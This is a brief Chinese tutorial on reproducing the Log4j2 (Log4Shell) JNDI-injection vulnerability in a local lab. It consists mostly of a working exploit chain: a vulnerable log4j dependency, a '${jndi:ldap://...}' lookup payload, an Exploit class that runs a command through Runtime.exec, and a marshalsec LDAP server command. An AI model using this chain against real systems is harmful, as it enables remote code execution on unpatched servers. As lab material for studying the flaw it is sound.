手把手教你复现Log4j2漏洞
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency>

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;class LogTest { public static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://localhost:8888/Exploit}"); }}class Exploit {static {System.err.println("Pwned");try {String cmds = "calc";Runtime.getRuntime().exec(cmds);} catch ( Exception e ) {e.printStackTrace();}}}
javac exp.java
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer"http://127.0.0.1:7777/#Exploit" 8888



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